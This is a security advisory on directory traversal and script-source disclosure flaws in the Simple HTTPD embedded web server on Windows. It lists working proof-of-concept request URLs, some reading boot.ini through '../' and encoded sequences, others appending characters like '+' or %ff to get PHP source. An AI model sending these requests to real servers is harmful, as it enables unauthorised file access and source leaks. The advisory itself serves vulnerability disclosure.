#######################################################################
Luigi Auriemma
Application: Simple HTTPD
http://shttpd.sourceforge.net
Versions: <= 1.38
Platforms: Windows, *nix, QNX, RTEMS
only Windows seems vulnerable
Bugs: A] directory traversal
B] scripts and CGI viewing/downloading
(%20 char found by Shay priel in Jun 2007)
Exploitation: remote
Date: 07 Dec 2007
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bugs
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Simple HTTPD (shttpd) is an open source web server created for embedded
systems.
#######################################################################
=======
2) Bugs
=======
----------------------
A] directory traversal
----------------------
Using the "../" pattern is possible to download any file in the disk on
which is located the web root directory.
--------------------------------------
B] scripts and CGI viewing/downloading
--------------------------------------
Any script or CGI in the server can be viewed/downloaded instead of
being executed simply appending the chars '+', '.', %20 (this one
reported by Shay priel in the summer 2007), %2e and any other byte (in
hex format too) major than 0x7f to the requested filename.
Note that only Windows seems vulnerable to the above bugs.
#######################################################################
===========
3) The Code
===========
A]
http://SERVER/../../../boot.ini
http://SERVER/../%2e%2e%5c../boot.ini
B]
http://SERVER/file.php+
http://SERVER/file.php.
http://SERVER/file.php%80
http://SERVER/file.php%ff
#######################################################################
======
4) Fix
======
I have posted the problems in the shttpd-general mailing-list but there
is no reply yet:
http://sourceforge.net/mailarchive/forum.php?forum_name=shttpd-general
#######################################################################